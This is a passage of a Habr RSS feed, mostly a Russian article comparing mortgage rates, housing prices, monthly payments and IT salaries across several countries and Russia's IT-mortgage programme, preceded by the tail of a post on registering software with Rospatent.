https://habrastorage.org/r/w1560/getpro/habr/upload_files/b4d/f31/654/b4df31654fbe19ee18678ee94acfd6f0.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.23&lt;/strong&gt;. Страница с зарегистрированной заявкой&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Уведомление о регистрации выглядит следующим образом (Рис.24,25):&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/80f/c78/78d/80fc7878dfb65df979ec54408b1fd75d.png alt=&#34;Рис.24. Первая часть уведомления о регистрации&#34; title=&#34;Рис.24. Первая часть уведомления о регистрации&#34; width=638 height=856 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/80f/c78/78d/80fc7878dfb65df979ec54408b1fd75d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/80f/c78/78d/80fc7878dfb65df979ec54408b1fd75d.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.24&lt;/strong&gt;. Первая часть уведомления о регистрации&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/07b/074/c51/07b074c515eee04157ae5fd42cbe6b2c.png alt=&#34;Рис.25. Вторая часть уведомления о регистрации&#34; title=&#34;Рис.25. Вторая часть уведомления о регистрации&#34; width=671 height=854 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/07b/074/c51/07b074c515eee04157ae5fd42cbe6b2c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/07b/074/c51/07b074c515eee04157ae5fd42cbe6b2c.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.25&lt;/strong&gt;. Вторая часть уведомления о регистрации&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;По ссылке на 2 странице можно будет скачать электронное свидетельство на программу и выписку. При нажатии на нее откроется такая страница с ссылками для скачивания (Рис.26):&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/5e1/ad5/4d7/5e1ad54d78e89e1155ac1e87e8230634.png alt=&#34;Рис.26. Страница с электронным свидетельством и выпиской на ПО&#34; title=&#34;Рис.26. Страница с электронным свидетельством и выпиской на ПО&#34; width=671 height=318 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/5e1/ad5/4d7/5e1ad54d78e89e1155ac1e87e8230634.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/5e1/ad5/4d7/5e1ad54d78e89e1155ac1e87e8230634.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Рис.26&lt;/strong&gt;. Страница с электронным свидетельством и выпиской на ПО&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;После регистрации Роспатент направляет по адресу, указанному для переписки, бумажное свидетельство. Обычно оно приходит в течение месяца с регистрации.&lt;p&gt;Ух, вроде не так уж и сложно было. Всех кто самостоятельно пройдет этот пункт по инструкции и получит свидетельство - прошу отписаться в комментариях, буду рад если смог кому-то помочь.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>ABP_LEGAL_ALEX</author>
      <guid>https://habr.com/ru/articles/1046135/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046135</guid>
      <pubDate>Wed, 10 Jun 2026 15:03:51 +0000</pubDate>
    </item>
    <item>
      <title>Дешёвая ипотека за границей — а у нас?</title>
      <link>https://habr.com/ru/articles/1046133/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046133</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Каждый раз когда в новостях мелькает ипотека в Европе под 3-4%, становится немного грустно. У нас-то под 19%. Но насколько у них реально лучше, если посчитать вместе с ценами на жильё и зарплатами?&lt;hr&gt;&lt;h3&gt;Ставки: разрыв в 10 раз&lt;/h3&gt;&lt;p&gt;Начнем с того, что все и так знают. Ипотечные ставки по странам:&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/3fc/d62/db6/3fcd62db6583ccc32a30bb59496fa01f.png alt=&#34;Источник: Numbeo, середина 2025-2026. Россия (IT): ставка льготной IT-ипотеки от Минцифры.&#34; title=&#34;Источник: Numbeo, середина 2025-2026. Россия (IT): ставка льготной IT-ипотеки от Минцифры.&#34; width=2247 height=1149 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/3fc/d62/db6/3fcd62db6583ccc32a30bb59496fa01f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/3fc/d62/db6/3fcd62db6583ccc32a30bb59496fa01f.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Источник: &lt;a href=&#34;https://www.numbeo.com/cost-of-living/country_price_rankings?itemId=106&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;Numbeo&lt;/a&gt;, середина 2025-2026. Россия (IT): ставка льготной &lt;a href=https://www.novostroy-m.ru/statyi/itipoteka_v_2026_godu rel=&#34;noopener noreferrer nofollow&#34;&gt;IT-ипотеки&lt;/a&gt; от Минцифры.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Тут всё понятно. Япония и Швейцария около 2%.&lt;a href=https://habr.com/rss/all/all/#s1 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt; Европа 3-4%. США 6%. И Россия около 19%. На пике начала 2025 рыночная ставка вообще улетала за 30%.&lt;a href=https://habr.com/rss/all/all/#s6 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[6]&lt;/sup&gt;&lt;/a&gt;&lt;p&gt;Разница огромная. Даже льготная IT-ипотека под 6%&lt;a href=https://habr.com/rss/all/all/#s5 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[5]&lt;/sup&gt;&lt;/a&gt; соответствует ставке уровня США, самой дорогой ипотеки среди развитых стран.&lt;p&gt;Обычно на этом разговор и заканчивается. &amp;#34;У них 3%, у нас 19%, чего тут считать.&amp;#34; Но ставка это только одна из трёх цифр. Есть ещё цена жилья и зарплата, и вот когда добавляешь их, всё перестаёт быть таким очевидным.&lt;h3&gt;Дешево купить не значит дешево платить&lt;/h3&gt;&lt;p&gt;Теперь посмотрим, сколько стоит сам квадратный метр. А рядом посчитаем ежемесячный платеж за квартиру 60 м².&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/302/0d9/eec/3020d9eec2047e83ef5ae6b432b55e6d.png alt=&#34;Источник: Numbeo, цены за м² в центре города, середина 2025-2026. Платеж рассчитан для квартиры 60 м², 20% взнос, 20 лет, по рыночной ставке страны. По крупным странам (США, Россия) Numbeo даёт усреднённый по городам уровень, а не центр столицы (подробнее в сноске[2]).&#34; title=&#34;Источник: Numbeo, цены за м² в центре города, середина 2025-2026. Платеж рассчитан для квартиры 60 м², 20% взнос, 20 лет, по рыночной ставке страны. По крупным странам (США, Россия) Numbeo даёт усреднённый по городам уровень, а не центр столицы (подробнее в сноске[2]).&#34; width=2847 height=1256 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/302/0d9/eec/3020d9eec2047e83ef5ae6b432b55e6d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/302/0d9/eec/3020d9eec2047e83ef5ae6b432b55e6d.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Источник: &lt;a href=&#34;https://www.numbeo.com/cost-of-living/country_price_rankings?itemId=100&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;Numbeo&lt;/a&gt;, цены за м² в центре города, середина 2025-2026. Платеж рассчитан для квартиры 60 м², 20% взнос, 20 лет, по рыночной ставке страны. По крупным странам (США, Россия) Numbeo даёт усреднённый по городам уровень, а не центр столицы (подробнее в сноске&lt;a href=https://habr.com/rss/all/all/#s2 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt;).&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;На левом графике цена квадратного метра. Россия и США самые дешевые, около $3 200-3 300 за м². Швейцария $19 500, в 6 раз дороже.&lt;a href=https://habr.com/rss/all/all/#s2 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt;&lt;p&gt;А теперь правый график, ежемесячный платеж. И тут начинается самое интересное.&lt;p&gt;Россия с самой дешевой ценой за метр оказывается на &lt;strong&gt;предпоследнем месте&lt;/strong&gt; по ежемесячному платежу. $2 503 в месяц.&lt;a href=https://habr.com/rss/all/all/#s2 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt; Это дороже, чем в Германии, Великобритании, Нидерландах. Дороже, чем в странах, где метр стоит в 2 раза больше.&lt;p&gt;Потому что ставка под 19%&lt;a href=https://habr.com/rss/all/all/#s1 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt; превращает дешевую квартиру в дорогой кредит.&lt;p&gt;В рублях это выглядит так: квартира 60 м² в центре стоит примерно 13.9 млн рублей.&lt;a href=https://habr.com/rss/all/all/#s2 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt; Вносишь 20%, это 2.8 млн. Берешь кредит 11.1 млн. Ежемесячный платеж &lt;strong&gt;180 тысяч рублей&lt;/strong&gt;.&lt;h3&gt;Главный вопрос: сколько от зарплаты&lt;/h3&gt;&lt;p&gt;Но абсолютные цифры мало что говорят. Платеж $2 503 в месяц это много или мало? Зависит от того, сколько ты зарабатываешь. Поэтому я посчитал, какую долю зарплаты айтишник в каждой стране отдает за ипотеку.&lt;p&gt;Это, наверное, самый важный график в этой статье.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/221/4fc/b4d/2214fcb4d7721b82355982392a3df0ba.png alt=&#34;Источник зарплат: GEOR, Glassdoor, Хабр Карьера (2025-2026). Медианная зарплата IT-специалиста (gross) / ипотечный платеж за 60 м² в центре города.&#34; title=&#34;Источник зарплат: GEOR, Glassdoor, Хабр Карьера (2025-2026). Медианная зарплата IT-специалиста (gross) / ипотечный платеж за 60 м² в центре города.&#34; width=2427 height=1349 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/221/4fc/b4d/2214fcb4d7721b82355982392a3df0ba.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/221/4fc/b4d/2214fcb4d7721b82355982392a3df0ba.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Источник зарплат: &lt;a href=https://theemployerofrecord.com/blog/services/average-software-engineer-salary-by-country rel=&#34;noopener noreferrer nofollow&#34;&gt;GEOR&lt;/a&gt;, &lt;a href=https://www.glassdoor.com/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Glassdoor&lt;/a&gt;, &lt;a href=https://career.habr.com/salaries rel=&#34;noopener noreferrer nofollow&#34;&gt;Хабр Карьера&lt;/a&gt; (2025-2026). Медианная зарплата IT-специалиста (gross) / ипотечный платеж за 60 м² в центре города.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Что здесь происходит.&lt;p&gt;&lt;strong&gt;США, 9%.&lt;/strong&gt; Айтишник в Штатах отдает на ипотеку меньше десятой части зарплаты. Ставка самая высокая среди развитых стран (6.2%), но зарплата $147k в год при дешевом жилье делает свое дело.&lt;a href=https://habr.com/rss/all/all/#s3 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[3]&lt;/sup&gt;&lt;/a&gt;&lt;p&gt;&lt;strong&gt;Европа и Япония, 23-34%.&lt;/strong&gt; Великобритания, Нидерланды, Испания, Япония, Германия отдают от четверти до трети зарплаты.&lt;a href=https://habr.com/rss/all/all/#s3 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[3]&lt;/sup&gt;&lt;/a&gt; Это примерно на границе комфорта (банки обычно считают 30% пределом). Франция чуть тяжелее, 34%.&lt;p&gt;&lt;strong&gt;Швейцария, 43%.&lt;/strong&gt; Самая низкая ставка в мире (2.1%)&lt;a href=https://habr.com/rss/all/all/#s1 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt;, но самое дорогое жилье. Метр в центре стоит $19 500.&lt;a href=https://habr.com/rss/all/all/#s2 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt; Даже со швейцарской IT-зарплатой в $133k/год&lt;a href=https://habr.com/rss/all/all/#s3 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[3]&lt;/sup&gt;&lt;/a&gt; это почти половина дохода.&lt;p&gt;&lt;strong&gt;Россия с IT-ипотекой, 43%.&lt;/strong&gt; Больше 40% зарплаты. И это со льготной ставкой 6%&lt;a href=https://habr.com/rss/all/all/#s5 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[5]&lt;/sup&gt;&lt;/a&gt;, которую еще надо умудриться получить.&lt;p&gt;&lt;strong&gt;Россия с рыночной ставкой, 98%.&lt;/strong&gt; Почти &lt;strong&gt;вся зарплата&lt;/strong&gt;. Медианная зарплата айтишника около 183 тысяч рублей в месяц&lt;a href=https://habr.com/rss/all/all/#s4 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[4]&lt;/sup&gt;&lt;/a&gt;, а платеж по ипотеке за 60 м² в центре 180 тысяч. На еду и коммуналку остаётся 3 тысячи рублей.&lt;p&gt;Думаю, тут стоит уточнить. Это расчет для центра города, и 60 м² не самая маленькая квартира. Если смотреть на окраины и 40 м², числа будут не такими страшными. Но пропорции между странами не изменятся. И в этом весь смысл: сравнение на одинаковых условиях.&lt;h3&gt;За 20 лет отдашь в 4 раза больше&lt;/h3&gt;&lt;p&gt;Есть еще один неприятный эффект высокой ставки, который не так очевиден. Это переплата: сколько ты реально заплатишь банку за 20 лет сверх стоимости квартиры.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/72d/700/3fc/72d7003fc17f9c4db70ae8de700a5e86.png alt=&#34;Тело кредита это сумма, которую ты занял (80% от цены квартиры). Переплата это проценты за 20 лет. Множитель показывает, во сколько раз итоговая сумма больше кредита.&#34; title=&#34;Тело кредита это сумма, которую ты занял (80% от цены квартиры). Переплата это проценты за 20 лет. Множитель показывает, во сколько раз итоговая сумма больше кредита.&#34; width=2446 height=1349 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/72d/700/3fc/72d7003fc17f9c4db70ae8de700a5e86.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/72d/700/3fc/72d7003fc17f9c4db70ae8de700a5e86.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Тело кредита это сумма, которую ты занял (80% от цены квартиры). Переплата это проценты за 20 лет. Множитель показывает, во сколько раз итоговая сумма больше кредита.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;В Японии и Швейцарии при ставке 2%&lt;a href=https://habr.com/rss/all/all/#s1 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt; за 20 лет отдаешь &lt;strong&gt;1.2x&lt;/strong&gt;, то есть переплата всего 22% от суммы кредита. Занял $267k&lt;a href=https://habr.com/rss/all/all/#s2 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt;, отдашь $326k. Разумно.&lt;p&gt;В Европе (3-4%)&lt;a href=https://habr.com/rss/all/all/#s1 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt; переплата около 40%, множитель 1.4x. Тоже терпимо.&lt;p&gt;В России при ставке 19%&lt;a href=https://habr.com/rss/all/all/#s1 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt; множитель &lt;strong&gt;3.9x&lt;/strong&gt;. Занял 11.1 млн рублей&lt;a href=https://habr.com/rss/all/all/#s2 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt;, отдашь около 43 млн. Переплата 32 млн, больше двух стоимостей самой квартиры ушло банку в виде процентов.&lt;p&gt;Даже с IT-ипотекой под 6%&lt;a href=https://habr.com/rss/all/all/#s5 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[5]&lt;/sup&gt;&lt;/a&gt; множитель 1.7x, то есть отдашь на 72% больше.&lt;h3&gt;А что с IT-ипотекой&lt;/h3&gt;&lt;p&gt;IT-ипотека&lt;a href=https://habr.com/rss/all/all/#s5 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[5]&lt;/sup&gt;&lt;/a&gt; это, конечно, хорошо. 6% вместо 19%, разница больше чем в 3 раза. Но.&lt;p&gt;Купить жилье по ней можно только в регионах, кроме Москвы и Санкт-Петербурга. И это ещё не всё: если твоя компания &lt;em&gt;зарегистрирована&lt;/em&gt; в Москве или СПб, участвовать в программе тоже нельзя.&lt;a href=https://habr.com/rss/all/all/#s5 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[5]&lt;/sup&gt;&lt;/a&gt; А большинство крупных IT-компаний зарегистрированы именно там. Купить можно только новостройку, вторичка не подходит. Лимит льготной части единый для всех регионов, 9 млн рублей (можно добрать до 18 млн по рыночной ставке), а квартира 60 м² в центре стоит около 13.9 млн.&lt;a href=https://habr.com/rss/all/all/#s2 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt; Работать нужно в аккредитованной Минцифры компании, которая применяет налоговые льготы, с зарплатой от 150 тысяч в месяц (90 тысяч для небольших городов). И главное: ставка 6% действует только пока ты в такой компании. Уволился — даётся полгода найти другую аккредитованную, иначе ставка становится рыночной.&lt;a href=https://habr.com/rss/all/all/#s5 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[5]&lt;/sup&gt;&lt;/a&gt;&lt;p&gt;Получается странная конструкция. Программа привязывает тебя к конкретному типу работодателя на годы вперед. Наверное, это лучше, чем 19%. Но это не &amp;#34;дешевая ипотека&amp;#34; в том смысле, в каком она есть в Европе, где 3-4% просто дают всем.&lt;h3&gt;Сводная таблица&lt;/h3&gt;&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Страна&lt;th&gt;&lt;p align=left&gt;Ставка&lt;th&gt;&lt;p align=left&gt;Цена м²&lt;th&gt;&lt;p align=left&gt;Платеж/мес&lt;th&gt;&lt;p align=left&gt;IT-зарплата/мес&lt;th&gt;&lt;p align=left&gt;Доля&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;США&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;6.2%&lt;td&gt;&lt;p align=left&gt;$3 321&lt;td&gt;&lt;p align=left&gt;$1 162&lt;td&gt;&lt;p align=left&gt;$12 250&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;9%&lt;/strong&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Великобритания&lt;td&gt;&lt;p align=left&gt;5.4%&lt;td&gt;&lt;p align=left&gt;$5 651&lt;td&gt;&lt;p align=left&gt;$1 852&lt;td&gt;&lt;p align=left&gt;$8 000&lt;td&gt;&lt;p align=left&gt;23%&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Нидерланды&lt;td&gt;&lt;p align=left&gt;4.1%&lt;td&gt;&lt;p align=left&gt;$6 808&lt;td&gt;&lt;p align=left&gt;$1 994&lt;td&gt;&lt;p align=left&gt;$7 167&lt;td&gt;&lt;p align=left&gt;28%&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Испания&lt;td&gt;&lt;p align=left&gt;3.3%&lt;td&gt;&lt;p align=left&gt;$4 344&lt;td&gt;&lt;p align=left&gt;$1 191&lt;td&gt;&lt;p align=left&gt;$4 250&lt;td&gt;&lt;p align=left&gt;28%&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Германия&lt;td&gt;&lt;p align=left&gt;4.0%&lt;td&gt;&lt;p align=left&gt;$6 247&lt;td&gt;&lt;p align=left&gt;$1 811&lt;td&gt;&lt;p align=left&gt;$6 083&lt;td&gt;&lt;p align=left&gt;30%&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Япония&lt;td&gt;&lt;p align=left&gt;2.1%&lt;td&gt;&lt;p align=left&gt;$5 556&lt;td&gt;&lt;p align=left&gt;$1 357&lt;td&gt;&lt;p align=left&gt;$5 000&lt;td&gt;&lt;p align=left&gt;27%&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Франция&lt;td&gt;&lt;p align=left&gt;3.8%&lt;td&gt;&lt;p align=left&gt;$5 634&lt;td&gt;&lt;p align=left&gt;$1 608&lt;td&gt;&lt;p align=left&gt;$4 750&lt;td&gt;&lt;p align=left&gt;34%&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Швейцария&lt;td&gt;&lt;p align=left&gt;2.1%&lt;td&gt;&lt;p align=left&gt;$19 582&lt;td&gt;&lt;p align=left&gt;$4 800&lt;td&gt;&lt;p align=left&gt;$11 083&lt;td&gt;&lt;p align=left&gt;43%&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Россия (IT)&lt;td&gt;&lt;p align=left&gt;6.0%&lt;td&gt;&lt;p align=left&gt;$3 217&lt;td&gt;&lt;p align=left&gt;$1 106&lt;td&gt;&lt;p align=left&gt;$2 546&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;43%&lt;/strong&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Россия&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;19.0%&lt;td&gt;&lt;p align=left&gt;$3 217&lt;td&gt;&lt;p align=left&gt;$2 503&lt;td&gt;&lt;p align=left&gt;$2 546&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;98%&lt;/strong&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Квартира 60 м² в центре города, 20% взнос, 20 лет. Зарплаты медианные для IT-специалистов (gross, средние по стране). Россия: медиана ~183 тыс. руб/мес по данным &lt;a href=https://career.habr.com/salaries rel=&#34;noopener noreferrer nofollow&#34;&gt;Хабр Карьера&lt;/a&gt; (2-я половина 2025). Курс ~72 руб/$ (середина 2026). Источники зарплат: GEOR, Glassdoor, PayScale, Japan Dev.&lt;/blockquote&gt;&lt;h3&gt;Почему так происходит&lt;/h3&gt;&lt;p&gt;Ипотечная ставка не берется с потолка. Она привязана к ключевой ставке центрального банка. И тут вся разница между странами становится понятной.&lt;p&gt;Банк Японии держит ставку около 0.75%, уже третье десятилетие борется с дефляцией. ЕЦБ снизил до 2.0% к 2026-му. У ФРС США 3.5-3.75%.&lt;a href=https://habr.com/rss/all/all/#s7 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[7]&lt;/sup&gt;&lt;/a&gt; &lt;p&gt;У ЦБ РФ ключевая ставка 14.5%.&lt;a href=https://habr.com/rss/all/all/#s1 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt; На пике конца 2024 и начала 2025 она доходила до 21%, и рыночная ипотека тогда улетала за 30%.&lt;a href=https://habr.com/rss/all/all/#s6 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;sup&gt;[6]&lt;/sup&gt;&lt;/a&gt; Сейчас ставка постепенно снижается, но всё ещё кратно выше, чем в развитых странах. Почему именно такая — вопрос сложный, причин много, и я не экономист, чтобы расставлять их по весу. Оставлю это комментаторам.&lt;hr&gt;&lt;h3&gt;Источники&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Ипотечные ставки по странам (20-year fixed или эквивалент). По зарубежным странам: &lt;a href=&#34;https://www.numbeo.com/cost-of-living/country_price_rankings?itemId=106&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;Numbeo&lt;/a&gt; и Global Property Guide, снимок mid-2025/2026: Япония ~2.1%, Швейцария ~2.1%, Испания ~3.3%, Франция ~3.8%, Германия ~4.0%, Нидерланды ~4.1%, Великобритания ~5.4%, США ~6.2%. К середине 2026 они немного сдвинулись (США/Великобритания подросли на ~0.3 п.п., часть Европы снизилась, японский фикс вырос), но в пределах разброса и на сопоставление не влияют. По России: рыночная ипотечная ставка &lt;strong&gt;~19%&lt;/strong&gt; (&lt;a href=http://%D0%94%D0%BE%D0%BC.%D1%80%D1%84 rel=&#34;noopener noreferrer nofollow&#34;&gt;Дом.рф&lt;/a&gt;, &lt;a href=https://realty.ria.ru/20251202/ipoteka-2058963757.html rel=&#34;noopener noreferrer nofollow&#34;&gt;РИА Недвижимость&lt;/a&gt;, середина 2026). 21.3% и 30%+ это пик конца 2024 и начала 2025. Ключевая ставка &lt;a href=https://www.cbr.ru/hd_base/keyrate/ rel=&#34;noopener noreferrer nofollow&#34;&gt;ЦБ РФ&lt;/a&gt; на середину 2026 составляет &lt;strong&gt;14.5%&lt;/strong&gt; (пик 21% держался с октября 2024 по июнь 2025).&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.numbeo.com/cost-of-living/country_price_rankings?itemId=100&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;Numbeo&lt;/a&gt;: цена за м² в центре города (mid-2025/2026): Россия $3 217, США $3 321, Испания $4 344, Япония $5 556, Франция $5 634, Великобритания $5 651, Германия $6 247, Нидерланды $6 808, Швейцария $19 582. &lt;strong&gt;Важная оговорка:&lt;/strong&gt; Numbeo это краудсорс, и для крупных стран показатель &amp;#34;центр города&amp;#34; фактически усредняется по многим городам, а не отражает центр столицы. Для США ($3 321) и России ($3 217) реальный центр мегаполиса (Манхэттен, центр Москвы) дороже в 3-6 раз. Цифры взяты по единой методологии Numbeo ради сопоставимости между странами, но это среднегородской уровень, а не премиальный центр. Для центра Москвы точнее &lt;a href=https://www.irn.ru/ rel=&#34;noopener noreferrer nofollow&#34;&gt;ИРН&lt;/a&gt;, &lt;a href=https://www.cian.ru/ rel=&#34;noopener noreferrer nofollow&#34;&gt;ЦИАН&lt;/a&gt;, Домклик; для США Redfin/Zillow по конкретному городу.&lt;li&gt;&lt;p&gt;&lt;a href=https://theemployerofrecord.com/blog/services/average-software-engineer-salary-by-country rel=&#34;noopener noreferrer nofollow&#34;&gt;GEOR&lt;/a&gt;: средние зарплаты IT-специалистов по странам, 2026: США ~$147-150k, Швейцария $133k, Великобритания $96k, Нидерланды $86k, Германия $73k, Япония ~$55-68k, Франция ~$50-57k, Испания $51k. Перекрестно проверено по &lt;a href=https://www.glassdoor.com/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Glassdoor&lt;/a&gt;, &lt;a href=https://japan-dev.com/blog/software-developer-salaries-in-japan-the-ultimate-guide rel=&#34;noopener noreferrer nofollow&#34;&gt;Japan Dev&lt;/a&gt; и &lt;a href=https://www.payscale.com/ rel=&#34;noopener noreferrer nofollow&#34;&gt;PayScale&lt;/a&gt;.&lt;li&gt;&lt;p&gt;&lt;a href=https://career.habr.com/salaries rel=&#34;noopener noreferrer nofollow&#34;&gt;Хабр Карьера&lt;/a&gt;: зарплаты IT-специалистов в России; &lt;a href=https://habr.com/ru/specials/994308/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Habr&lt;/a&gt;, &amp;#34;Зарплаты IT-специалистов во второй половине 2025&amp;#34;. Медиана по стране ~183 тыс. руб./мес (Москва ~230 тыс., СПб ~200 тыс., регионы ~159 тыс.). В долларах при курсе ~72 руб/$ (середина 2026) это ~$30.5 тыс/год. Оговорка: зарубежные зарплаты в таблице это преимущественно средние (GEOR), а не медианные, поэтому разрыв с медианой РФ может быть слегка преувеличен; зарплаты по Великобритании и Нидерландам, по-видимому, ближе к верхней границе рынка.&lt;li&gt;&lt;p&gt;IT-ипотека в 2026 (&lt;a href=https://www.novostroy-m.ru/statyi/itipoteka_v_2026_godu rel=&#34;noopener noreferrer nofollow&#34;&gt;Новострой-М&lt;/a&gt;, &lt;a href=https://www.cian.ru/stati-ipoteka-dlja-it-spetsialistov-podrobnosti-325176/ rel=&#34;noopener noreferrer 